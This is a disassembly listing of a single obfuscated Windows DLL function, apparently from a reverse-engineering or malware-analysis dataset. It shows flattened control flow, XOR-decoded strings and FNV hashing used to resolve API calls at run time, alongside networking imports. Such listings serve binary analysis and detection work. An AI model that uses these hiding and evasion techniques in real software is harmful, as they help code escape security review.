Function at 0x180031950
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xdb8
mov qword [rsp + 0x88], rcx
mov rax, qword [0x1800e8a00]
xor rax, rsp
mov qword [rsp + 0xdb0], rax
lea r14, [rsp + 0x5b0]
mov qword [rsp + 0x98], r14
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x98]
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
lea rax, [rsp + 0x10c]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
lea rax, [rsp + 0x598]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
mov qword [rsp + 0x110], rax
mov dword [rsp + 0x40], 0x47
mov byte [rsp + 0x60], reloc.WS2_32.dll_inet_addr
mov ecx, 0xd4b77ff4
nop word cs:[rax + rax]
nop
cmp ecx, 0x68f24fd4
je 0x180031a27
cmp ecx, 0xd4b77ff4
jne 0x180031a00
movsx ecx, byte [rsp + 0x60]
add ecx, dword [rsp + 0x40]
mov dword [rsp + 0x138], ecx
mov ecx, 0x68f24fd4
jmp 0x180031a00
mov ecx, dword [rsp + 0x138]
mov byte [rsp + 0x78], cl
mov ecx, 0xcaba3016
nop word [rax + rax]
cmp ecx, 0x189323d3
je 0x180031d81
cmp ecx, 0xcaba3016
jne 0x180031a40
mov rcx, qword [rsp + 0x110]
mov dl, byte [rsp + 0x78]
mov byte [rcx], dl
mov rcx, qword [rsp + 0x110]
mov dword [rsp + 0x60], 0x65
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031aa4
cmp edx, 0xd4b77ff4
jne 0x180031a80
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031a80
mov edx, dword [rsp + 0x40]
mov byte [rcx + 1], dl
mov dword [rsp + 0x60], 0x74
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031ae4
cmp edx, 0xd4b77ff4
jne 0x180031ac0
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031ac0
mov edx, dword [rsp + 0x40]
mov byte [rcx + 2], dl
mov dword [rsp + 0x60], 0x4d
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031b24
cmp edx, 0xd4b77ff4
jne 0x180031b00
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031b00
mov edx, dword [rsp + 0x40]
mov byte [rcx + 3], dl
mov dword [rsp + 0x60], WSAStartup
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031b64
cmp edx, 0xd4b77ff4
jne 0x180031b40
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031b40
mov edx, dword [rsp + 0x40]
mov byte [rcx + 4], dl
mov dword [rsp + 0x60], 0x64
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031ba4
cmp edx, 0xd4b77ff4
jne 0x180031b80
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031b80
mov edx, dword [rsp + 0x40]
mov byte [rcx + 5], dl
mov dword [rsp + 0x60], 0x75
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031be4
cmp edx, 0xd4b77ff4
jne 0x180031bc0
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031bc0
mov edx, dword [rsp + 0x40]
mov byte [rcx + 6], dl
mov dword [rsp + 0x60], WSAStartup
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031c24
cmp edx, 0xd4b77ff4
jne 0x180031c00
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031c00
mov edx, dword [rsp + 0x40]
mov byte [rcx + 7], dl
mov dword [rsp + 0x60], 0x65
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031c64
cmp edx, 0xd4b77ff4
jne 0x180031c40
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031c40
mov edx, dword [rsp + 0x40]
mov byte [rcx + 8], dl
mov dword [rsp + 0x60], 0x46
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031ca4
cmp edx, 0xd4b77ff4
jne 0x180031c80
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031c80
mov edx, dword [rsp + 0x40]
mov byte [rcx + 9], dl
mov dword [rsp + 0x60], 0x69
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031ce4
cmp edx, 0xd4b77ff4
jne 0x180031cc0
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031cc0
mov edx, dword [rsp + 0x40]
mov byte [rcx + 0xa], dl
mov dword [rsp + 0x60], WSAStartup
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031d24
cmp edx, 0xd4b77ff4
jne 0x180031d00
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031d00
mov edx, dword [rsp + 0x40]
mov byte [rcx + 0xb], dl
mov dword [rsp + 0x60], 0x65
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031d64
cmp edx, 0xd4b77ff4
jne 0x180031d40
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031d40
mov edx, dword [rsp + 0x40]
mov byte [rcx + 0xc], dl
add rcx, 0xd
mov qword [rsp + 0x138], rcx
mov ecx, 0x189323d3
jmp 0x180031a40
mov dword [rsp + 0x60], 0x4e
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov ecx, 0xd4b77ff4
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x68f24fd4
je 0x180031dc4
cmp ecx, 0xd4b77ff4
jne 0x180031da0
movsx ecx, byte [rsp + 0x50]
add ecx, dword [rsp + 0x60]
mov dword [rsp + 0x40], ecx
mov ecx, 0x68f24fd4
jmp 0x180031da0
mov ecx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x138]
mov byte [rdx], cl
mov rcx, qword [rsp + 0x138]
mov dword [rsp + 0x60], 0x61
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031e14
cmp edx, 0xd4b77ff4
jne 0x180031df0
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031df0
mov edx, dword [rsp + 0x40]
mov byte [rcx + 1], dl
mov dword [rsp + 0x60], WSAStartup
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031e54
cmp edx, 0xd4b77ff4
jne 0x180031e30
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031e30
mov edx, dword [rsp + 0x40]
mov byte [rcx + 2], dl
mov dword [rsp + 0x60], 0x65
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031e94
cmp edx, 0xd4b77ff4
jne 0x180031e70
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031e70
mov edx, dword [rsp + 0x40]
mov byte [rcx + 3], dl
mov dword [rsp + 0x60], 0x57
mov byte [rsp + 0x50], reloc.WS2_32.dll_inet_addr
mov edx, 0xd4b77ff4
nop dword [rax]
cmp edx, 0x68f24fd4
je 0x180031ed4
cmp edx, 0xd4b77ff4
jne 0x180031eb0
movsx edx, byte [rsp + 0x50]
add edx, dword [rsp + 0x60]
mov dword [rsp + 0x40], edx
mov edx, 0x68f24fd4
jmp 0x180031eb0
mov edx, dword [rsp + 0x40]
mov byte [rcx + 4], dl
mov byte [rcx + 5], 0
mov ebp, 0x92cfc95c
mov ecx, 0x97f58a3f
jmp 0x180031f10
mov rbp, qword [rsp + 0x40]
mov bl, byte [rsp + 0x68]
mov byte [rbp], bl
mov rbp, qword [rsp + 0x138]
add rbp, 1
mov qword [rsp + 0x110], rbp
mov ebp, 0x34f9023c
cmp ebp, 0xcc6b4729
jle 0x180031f50
cmp ebp, 0x5609e5d5
jg 0x180031f80
cmp ebp, 0xacc31e2
je 0x180031ffb
cmp ebp, 0x34f9023c
jne 0x180032049
mov ebp, 0x5609e5d6
mov rdx, qword [rsp + 0x110]
jmp 0x180031f10
cmp ebp, 0x92cfc95b
jg 0x180031fa0
cmp ebp, 0x87997531
je 0x180031eeb
cmp ebp, 0x89f7d695
jne 0x180031f10
mov rbp, qword [rsp + 0x50]
mov qword [rsp + 0x60], rbp
mov ebp, 0xcc6b472a
jmp 0x180031f10
cmp ebp, 0x5609e5d6
je 0x180032007
cmp ebp, 0x60c78517
jne 0x180031f10
mov qword [rsp + 0x50], rax
mov ebp, 0x89f7d695
jmp 0x180031f10
cmp ebp, 0x92cfc95c
je 0x180032028
cmp ebp, 0x97f58a3f
jne 0x180031f10
mov rbp, qword [rsp + 0x138]
add rbp, rax
mov qword [rsp + 0x40], rbp
mov rbp, qword [rsp + 0x40]
movsx ebp, byte [rbp]
mov ebx, 0x52133920
nop word cs:[rax + rax]
cmp ebx, 0x1ebdbc39
je 0x180032032
cmp ebx, 0x52133920
jne 0x180031fe0
mov dword [rsp + 0x78], ebp
mov ebx, 0x1ebdbc39
jmp 0x180031fe0
mov ebp, 0x5609e5d6
xor edx, edx
jmp 0x180031f10
mov qword [rsp + 0x138], rdx
mov rbp, qword [rsp + 0x138]
cmp rbp, 0x12
mov ebp, 0x60c78517
cmovb ebp, ecx
jmp 0x180031f10
mov ebp, 0xacc31e2
jmp 0x180031f10
mov ebp, dword [rsp + 0x78]
add bpl, 0xf5
mov byte [rsp + 0x68], bpl
mov ebp, 0x87997531
jmp 0x180031f10
cmp ebp, 0xcc6b472a
jne 0x180031f10
mov rax, qword [rsp + 0x60]
mov ebx, 0x9304b30f
mov r8d, 0xed3b0916
mov r9d, 0xde9741b
mov r10d, 0x45d558a
mov r11d, 0xb18d2356
mov r15d, 0xec989665
jmp 0x1800320b0
movsxd rdx, esi
xor rdx, qword [rsp + 0x138]
movabs rdi, 0x100000001b3
imul rdx, rdi
mov ebp, dword [rsp + 0x60]
add ebp, 1
mov ebx, 0xc46bd60d
nop word cs:[rax + rax]
nop
cmp ebx, 0xec989664
jle 0x180032110
cmp ebx, 0xde9741a
jle 0x180032170
cmp ebx, 0x4040a63f
jg 0x1800321f5
cmp ebx, 0xde9741b
je 0x1800322b6
cmp ebx, 0x23777f42
je 0x1800322c9
cmp ebx, 0x34fd6d6d
jne 0x1800320b0
cmp byte [rsp + 0x80], 0
mov ebx, 0xa8588bcc
cmovne ebx, r11d
jmp 0x1800320b0
cmp ebx, 0xb3b07733
jle 0x1800321b0
cmp ebx, 0xc86312b3
jle 0x180032227
cmp ebx, 0xc86312b4
je 0x18003207f
cmp ebx, 0xcaf004ba
je 0x1800322d3
cmp ebx, 0xdf0d33c4
jne 0x1800320b0
mov ebx, 0xc46bd60d
xor ebp, ebp
movabs rdx, 0xcbf29ce484222325
jmp 0x1800320b0
cmp ebx, 0xfa416f8f
jle 0x180032263
cmp ebx, 0xfa416f90
je 0x1800322f8
cmp ebx, 0x45d558a
je 0x180032306
cmp ebx, 0xc942d64
jne 0x1800320b0
mov ebx, 0xcaf004ba
xor ecx, ecx
jmp 0x1800320b0
cmp ebx, 0xa8588bcb
jle 0x180032294
cmp ebx, 0xa8588bcc
je 0x18003231c
cmp ebx, 0xa94a57ae
je 0x18003232a
cmp ebx, 0xb18d2356
jne 0x1800320b0
mov edi, dword [rsp + 0x68]
or edi, 0x20
mov dword [rsp + 0x78], edi
mov ebx, 0xfa416f90
jmp 0x1800320b0
cmp ebx, 0x4040a640
je 0x180032334
cmp ebx, 0x494b1080
je 0x18003233e
cmp ebx, 0x6238ad6b
jne 0x1800320b0
mov ebx, 0xcaf004ba
mov ecx, dword [rsp + 0x4c]
jmp 0x1800320b0
cmp ebx, 0xb3b07734
je 0x180032351
cmp ebx, 0xc46bd60d
jne 0x1800323a4
mov dword [rsp + 0x60], ebp
mov qword [rsp + 0x138], rdx
mov ebx, dword [rsp + 0x50]
mov edi, dword [rsp + 0x60]
cmp edi, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r9d
jmp 0x1800320b0
cmp ebx, 0xec989665
je 0x180032375
cmp ebx, 0xed3b0916
jne 0x1800320b0
mov edi, dword [rsp + 0x68]
cmp edi, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x34fd6d6d
jmp 0x1800320b0
cmp ebx, 0x8051c795
je 0x18003238a
cmp ebx, 0x9304b30f
jne 0x1800320b0
mov ebx, 0xc942d64
jmp 0x1800320b0
mov edi, dword [rsp + 0x60]
mov qword [rsp + 0x40], rdi
mov ebx, 0x8051c795
jmp 0x1800320b0
mov ebx, 0xdf0d33c4
jmp 0x1800320b0
mov dword [rsp + 0x50], ecx
mov ebx, dword [rsp + 0x50]
movsx ebx, byte [rax + rbx]
mov dword [rsp + 0x5c], ebx
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r10d
jmp 0x1800320b0
mov ebx, 0xc86312b4
mov esi, dword [rsp + 0x78]
jmp 0x1800320b0
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x7f
setl byte [rsp + 0x77]
mov ebx, 0x494b1080
jmp 0x1800320b0
mov ebx, 0xc86312b4
mov esi, dword [rsp + 0x68]
jmp 0x1800320b0
mov ebx, 0x23777f42
jmp 0x1800320b0
mov ebx, 0x6238ad6b
jmp 0x1800320b0
cmp byte [rsp + 0x77], 0
mov ebx, 0xa94a57ae
cmovne ebx, r15d
jmp 0x1800320b0
mov rdi, qword [rsp + 0x110]
movsx edi, byte [rdi]
mov dword [rsp + 0x68], edi
mov edi, dword [rsp + 0x68]
cmp edi, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r8d
jmp 0x1800320b0
mov ebx, dword [rsp + 0x50]
add ebx, 1
mov dword [rsp + 0x4c], ebx
mov ebx, 0x4040a640
jmp 0x1800320b0
mov rdi, qword [rsp + 0x40]
add rdi, rax
mov qword [rsp + 0x110], rdi
mov ebx, 0xb3b07734
jmp 0x1800320b0
cmp ebx, 0xc5d9b945
jne 0x1800320b0
mov rcx, qword [rsp + 0x138]
call fcn.1800ae820
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xa0], r14
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov qword [rsp + 0xe8], rax
mov eax, 0x3bd641a3
lea rsi, [rsp + 0x578]
mov r10d, 0xed3b0916
mov r14d, 0xde9741b
mov r13d, 0x45d558a
mov r12d, 0xb18d2356
mov r15d, 0xec989665
nop dword [rax + rax]
mov edi, 0x699f8796
mov ebx, 0x464cefaf
cmp eax, 0x2bf87157
jle 0x180032490
cmp eax, 0x4d1a0210
jle 0x1800324d0
cmp eax, 0x5e029474
jle 0x180032563
cmp eax, 0x5e029475
je 0x1800347a0
cmp eax, 0x64364cd3
je 0x18003266c
cmp eax, 0x7ccd5dc1
jne 0x18003241a
mov rax, qword [rsp + 0x100]
mov ecx, dword [rsp + 0xac]
mov dword [rax + 0x1228], ecx
mov rcx, qword [rsp + 0x88]
call fcn.180037e90
mov edi, 0x699f8796
mov r10d, 0xed3b0916
mov rax, qword [rsp + 0xd8]
mov eax, 0x9ff4c7c8
jmp 0x18003241a
cmp eax, 0x9ff4c7c7
jle 0x180032520
cmp eax, 0xbb7ecb5e
jle 0x1800325f9
cmp eax, 0xcfcd9c96
je 0x180032676
cmp eax, 0x21a2019d
jne 0x180034783
mov rax, qword [rsp + 0x98]
mov eax, 0xbb7ecb5f
jmp 0x18003241a
cmp eax, 0x3bd641a2
jg 0x180032621
cmp eax, 0x2bf87158
je 0x180034810
cmp eax, 0x3afa3565
jne 0x18003241a
lea rax, [rsp + 0x160]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov eax, 0x554f4d81
jmp 0x18003241a
cmp eax, 0x9b371c83
jg 0x180032651
cmp eax, 0x814431b9
je 0x180032694
cmp eax, 0x918aa4ec
jne 0x18003241a
mov rax, qword [rsp + 0xc0]
cmp byte [rsp + 0x86], 0
mov eax, 0x5e029475
mov ecx, 0x9b371c84
cmovne eax, ecx
jmp 0x18003241a
cmp eax, 0x4d1a0211
je 0x1800326ae
cmp eax, 0x554f4d81
jne 0x18003241a
lea rbp, [rsp + 0x138]
mov qword [rsp + 0x68], rbp
mov rax, qword [rsp + 0x68]
mov byte [rax], 0x57
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x60], 0x52
mov ecx, 0x7cde9c81
cmp ecx, 0x39513744
je 0x1800326dd
cmp ecx, 0x7cde9c81
jne 0x1800325a0
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x1800325df
cmp ecx, 0x1ecb1f2b
jne 0x1800325c0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x1800325c0
mov rcx, qword [rsp + 0x110]
movsx ecx, byte [rcx]
xor ecx, dword [rsp + 0x60]
mov dword [rsp + 0x40], ecx
mov ecx, 0x39513744
jmp 0x1800325a0
cmp eax, 0x9ff4c7c8
je 0x18003275e
cmp eax, 0xb306ff04
jne 0x18003241a
mov rax, qword [rsp + 0xb0]
mov eax, 0x21a2019d
jmp 0x18003241a
cmp eax, 0x3bd641a3
je 0x1800348b0
cmp eax, 0x3e62e5a9
jne 0x18003241a
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xf8], rax
mov eax, 0x4d1a0211
jmp 0x18003241a
cmp eax, 0x9b371c84
je 0x180032768
cmp eax, 0x9f9cd691
je 0x180034930
jmp 0x18003241a
mov eax, 0xb306ff04
jmp 0x18003241a
mov rax, qword [rsp + 0x90]
cmp rax, 0xffffffffffffffff
mov eax, 0x814431b9
mov ecx, 0x3afa3565
cmove eax, ecx
jmp 0x18003241a
lea rax, [rsp + 0x588]
mov qword [rsp + 0xc0], rax
mov eax, 0x9f9cd691
jmp 0x18003241a
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0xf8]
call rax
mov edi, 0x699f8796
mov r10d, 0xed3b0916
mov rax, qword [rsp + 0xd0]
mov eax, 0x9ff4c7c8
jmp 0x18003241a
mov ecx, dword [rsp + 0x40]
mov byte [rax + 1], cl
mov dword [rsp + 0x60], 0x47
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x39513744
je 0x180032793
cmp ecx, 0x7cde9c81
jne 0x180032700
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x18003273f
cmp ecx, 0x1ecb1f2b
jne 0x180032720
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032720
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 1
movsx ecx, cl
xor ecx, dword [rsp + 0x60]
mov dword [rsp + 0x40], ecx
mov ecx, 0x39513744
jmp 0x180032700
mov eax, 0xb306ff04
jmp 0x18003241a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, 0x699f8796
mov r10d, 0xed3b0916
mov qword [rsp + 0xc8], rsi
mov rax, qword [rsp + 0xc8]
mov eax, 0x2bf87158
jmp 0x18003241a
mov ecx, dword [rsp + 0x40]
mov byte [rax + 2], cl
mov dword [rsp + 0x60], 0x64
mov ecx, 0x7cde9c81
nop word [rax + rax]
cmp ecx, 0x39513744
je 0x18003280e
cmp ecx, 0x7cde9c81
jne 0x1800327b0
mov ecx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp ecx, 0x92b1c475
je 0x1800327ef
cmp ecx, 0x1ecb1f2b
jne 0x1800327d0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x1800327d0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 2
movsx ecx, cl
xor ecx, dword [rsp + 0x60]
mov dword [rsp + 0x40], ecx
mov ecx, 0x39513744
jmp 0x1800327b0
mov ecx, dword [rsp + 0x40]
mov byte [rax + 3], cl
mov dword [rsp + 0x60], 0x63
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x18003288e
cmp ecx, 0x7cde9c81
jne 0x180032830
mov ecx, 0x1ecb1f2b
nop word cs:[rax + rax]
nop
cmp ecx, 0x92b1c475
je 0x18003286f
cmp ecx, 0x1ecb1f2b
jne 0x180032850
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032850
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 3
movsx ecx, cl
xor ecx, dword [rsp + 0x60]
mov dword [rsp + 0x40], ecx
mov ecx, 0x39513744
jmp 0x180032830
mov ecx, dword [rsp + 0x40]
mov byte [rax + 4], cl
add rax, 5
mov qword [rsp + 0x78], rax
lea rax, [0x1800df9da]
mov qword [rsp + 0x50], rax
mov ecx, 0x33acc0e0
nop
cmp ecx, 0x33acc0df
jg 0x1800328f0
cmp ecx, 0x88346fd4
je 0x1800336b0
cmp ecx, 0xfd85c025
jne 0x1800328b0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x40]
mov ecx, 0xfd85c025
mov edx, 0x88346fd4
cmove ecx, edx
jmp 0x1800328b0
cmp ecx, 0x45754e09
je 0x18003297e
cmp ecx, 0x33acc0e0
jne 0x1800328b0
mov rcx, qword [rsp + 0x50]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5c], ecx
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop
cmp ecx, 0x39513744
je 0x1800329eb
cmp ecx, 0x7cde9c81
jne 0x180032920
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x18003295f
cmp ecx, 0x1ecb1f2b
jne 0x180032940
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032940
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 4
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032920
movsx eax, byte [rsp + 0x80]
mov dword [rsp + 0x5c], eax
mov eax, 0x7cde9c81
nop
cmp eax, 0x39513744
je 0x180032a6e
cmp eax, 0x7cde9c81
jne 0x180032990
mov eax, 0x1ecb1f2b
nop word [rax + rax]
cmp eax, 0x92b1c475
je 0x1800329cd
cmp eax, 0x1ecb1f2b
jne 0x1800329b0
mov qword [rsp + 0x110], rbp
mov eax, 0x92b1c475
jmp 0x1800329b0
mov rax, qword [rsp + 0x110]
mov al, byte [rax]
add al, 0x18
movsx eax, al
xor eax, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], eax
mov eax, 0x39513744
jmp 0x180032990
mov ecx, dword [rsp + 0x4c]
mov rdx, qword [rsp + 0x78]
mov byte [rdx], cl
mov rcx, qword [rsp + 0x78]
mov dword [rsp + 0x5c], 0x65
mov edx, 0x7cde9c81
nop dword [rax + rax]
cmp edx, 0x39513744
je 0x180032aee
cmp edx, 0x7cde9c81
jne 0x180032a10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032a4f
cmp edx, 0x1ecb1f2b
jne 0x180032a30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032a30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 5
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032a10
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x60]
mov byte [rcx], al
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x5c], 0x34
mov ecx, 0x7cde9c81
nop dword [rax + rax]
cmp ecx, 0x39513744
je 0x180032b6e
cmp ecx, 0x7cde9c81
jne 0x180032a90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032acf
cmp ecx, 0x1ecb1f2b
jne 0x180032ab0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032ab0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x19
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032a90
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 1], dl
mov dword [rsp + 0x5c], 0x64
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180032bee
cmp edx, 0x7cde9c81
jne 0x180032b10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032b4f
cmp edx, 0x1ecb1f2b
jne 0x180032b30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032b30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 6
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032b10
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 1], cl
mov dword [rsp + 0x5c], reloc.WS2_32.dll_WSAStartup
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x180032c6e
cmp ecx, 0x7cde9c81
jne 0x180032b90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032bcf
cmp ecx, 0x1ecb1f2b
jne 0x180032bb0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032bb0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x1a
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032b90
mov edx, dword [rsp + 0x4c]
mov byte [rcx + 2], dl
mov dword [rsp + 0x5c], 0x66
mov edx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x39513744
je 0x180032cee
cmp edx, 0x7cde9c81
jne 0x180032c10
mov edx, 0x1ecb1f2b
nop dword [rax]
cmp edx, 0x92b1c475
je 0x180032c4f
cmp edx, 0x1ecb1f2b
jne 0x180032c30
mov qword [rsp + 0x110], rbp
mov edx, 0x92b1c475
jmp 0x180032c30
mov rdx, qword [rsp + 0x110]
mov dl, byte [rdx]
add dl, 7
movsx edx, dl
xor edx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], edx
mov edx, 0x39513744
jmp 0x180032c10
mov ecx, dword [rsp + 0x4c]
mov byte [rax + 2], cl
mov dword [rsp + 0x5c], 0x64
mov ecx, 0x7cde9c81
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x39513744
je 0x180032d6e
cmp ecx, 0x7cde9c81
jne 0x180032c90
mov ecx, 0x1ecb1f2b
nop dword [rax]
cmp ecx, 0x92b1c475
je 0x180032ccf
cmp ecx, 0x1ecb1f2b
jne 0x180032cb0
mov qword [rsp + 0x110], rbp
mov ecx, 0x92b1c475
jmp 0x180032cb0
mov rcx, qword [rsp + 0x110]
mov cl, byte [rcx]
add cl, 0x1b
movsx ecx, cl
xor ecx, dword [rsp + 0x5c]
mov dword [rsp + 0x4c], ecx
mov ecx, 0x39513744
jmp 0x180032c90
